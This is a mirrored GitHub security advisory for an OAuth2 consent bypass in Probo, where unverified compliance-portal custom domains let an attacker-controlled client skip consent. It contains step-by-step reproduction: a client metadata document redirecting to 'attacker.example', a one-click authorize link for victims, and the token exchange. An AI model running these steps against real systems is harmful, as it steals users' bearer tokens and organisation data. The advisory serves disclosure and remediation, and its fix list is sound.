GHSA-4JP4-HF8M-XXHV
OAuth2 consent bypass via unverified compliance-portal custom domain
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4JP4-HF8M-XXHV divulgada · CVSS 8.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The OAuth2 authorization server grants `allowed_skip_consent` to any Client ID Metadata
Document (CIMD) client whose `client_id` URL is hosted on any compliance-portal custom
domain. Custom domains can be registered for hosts the registrant does not own, and are
never verified.
An attacker who signs up for a free account therefore obtains an OAuth2 client for which the
consent screen is skipped entirely. Any authenticated Probo user who follows a single link
delivers an authorization code to the attacker, who exchanges it for a bearer token acting
as that user.
The attacker needs no domain and no server: the CIMD document can be hosted on a free
public service, and its host can then be registered as the attacker's "custom domain".
Root cause
`pkg/probod/probod.go:749-761`:
iamService.OAuth2ServerService.SetCIMDAllow(
func(ctx context.Context, clientIDURL string) (oauth2.CIMDAllowance, error) {
host, ok := oauth2.CIMDClientIDHost(clientIDURL)
if ok {
_, err := visitorService.GetPortalByDomainName(ctx, host)
if err == nil {
return oauth2.CIMDAllowanceAllowedSkipConsent, nil
}
}
return staticCIMDAllow(ctx, clientIDURL)
},
)The branch is unconditional and returns before the operator-configured allowlist
(`CIMDAllowedClientIDs`), so no configuration enables or disables it.
`GetPortalByDomainName` (`pkg/complianceportal/visitor/service.go:198`) is a bare
`CustomDomain.LoadByDomain` + `CompliancePortal.LoadByDomainID` under `NewNoScope()` — no
verification predicate, no tenant boundary.
The correct helper already exists in your codebase. `IsVerifiedRedirectHost`
(`visitor/service.go:231`) combines `GetPortalByDomainName` with
`IsCustomDomainVerified` (`management/domain_service.go:143`, ACME certificate status), and
is already used for the analogous "is this host a legitimate redirect target?" decision. The
CIMD path calls only the unverified half.
Consent is then skipped in `pkg/iam/oauth2/service.go:1537-1556`:
if client.TokenEndpointAuthMethod == coredata.OAuth2ClientTokenEndpointAuthMethodNone {
// RFC 6819 §5.2.3.2 / §5.2.4.1: public clients must always
// require explicit user consent since they cannot be strongly authenticated.
allowance, _ := s.cimdAllowance(ctx, client.ExternalClientID)
skipConsent = allowance.SkipsConsent()
}
if skipConsent {
code, err = s.issueAuthorizationCode(...) // no consent row, no user interaction
return nil
}The comment states the correct rule; the code overrides it.
Why no attacker infrastructure is required
- `createCustomDomain` accepts any host string with no proof of possession. We
- No same-origin requirement. `validateCIMDRedirectURI` (`cimd.go:287-320`) accepts any
- Document requirements (`cimd.go:233-285`) are only: `client_id` equal to the URL,
Steps to reproduce
- Sign up (open registration), create an organisation and a compliance portal.
- Host a CIMD document at a public HTTPS URL `U` (a GitHub gist raw URL works):
```json
{
"client_id": "<U>",
"client_name": "Probo Sync",
"redirect_uris": ["https://attacker.example/cb"],
"token_endpoint_auth_method": "none"
}
```
Omitting `scope` makes the client inherit `AllWriteScopes()` (`cimd.go:507-510`).
3. `createCustomDomain(compliancePortalId, domain: "<host of U>")` — no ownership proof.
4. Send an authenticated user this link (one click):
```
GET /api/connect/v1/oauth2/authorize
?response_type=code
&client_id=<U>
&redirect_uri=https://attacker.example/cb
&code_challenge=<S256 of attacker verifier>
&code_challenge_method=S256
```
5. Exchange the code at `/api/connect/v1/oauth2/token` (public client, no secret, attacker's
own PKCE verifier).
Script: `poc/poc_oauth2_consent_bypass.sh`.
Observed result
HTTP/1.1 302
location: https://attacker-poc.example/cb?code=b91c49c2…&state=poc-stateNo consent screen. Confirmed server-side: `SELECT count(*) FROM iam_oauth2_consents` → 0.
The code exchanged for an `access_token`, a `refresh_token` and an `id_token` whose `sub`
and `email` are the victim's, carrying 23 scopes including `offline_access`. The token
then returned the victim's identity from `/oauth2/userinfo` and the victim's organisation
through `POST /api/mcp/v1` (`listOrganizations`).
Registered clients, from the database:
external_client_id | visibility | auth_method | scopes
https://jsonblob.com/api/jsonBlob/019ff038-… | public | none | 23
https://gist.githubusercontent.com/…/oauth-client-metadata.json | public | none | 23Impact — and its limits
The token acts as the victim on data APIs (console GraphQL, MCP) for one hour, renewable via
the `offline_access` refresh token.
This is not an account takeover, and we do not claim one. The `@sessionOnly` directive
correctly blocks bearer tokens from every account primitive — password and email changes,
personal API keys (`personal_api_key.graphql:11,16,38,43`), OAuth2 tokens and consents,
sessions, SAML/SCIM configuration. We verified these return `FORBIDDEN`.
Impact is bounded by the victim's role, since role policies are evaluated after scope:
- EMPLOYEE / VIEWER victim → little to nothing; a max-scope token cannot even list that
- OWNER / ADMIN victim → read and write across the organisation's compliance data, plus the
That role dependency is why we rate this High rather than Critical. On the CVSS vector, the
`S:` axis is genuinely debatable (`S:U` ≈ 8.0, `S:C` ≈ 8.7); both remain High.
Remediation
- One-line fix: in `probod.go:753`, call `IsVerifiedRedirectHost` instead of
- Better: do not derive OAuth2 trust from a compliance-portal custom domain at all. A
- Require proof of possession before a custom domain is usable for anything.
- Never skip consent for public clients, per the RFC 6819 comment already in the code.
- Require `redirect_uris` to be same-origin with the CIMD `client_id` host.
- Do not default a CIMD client to `AllWriteScopes()` when `scope` is absent.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogo.probo.inc/probo |
Sin parche | — | — | v0.216.1 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getprobo/probo/security/advisories/GHSA-4jp4-hf8m-xxhvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
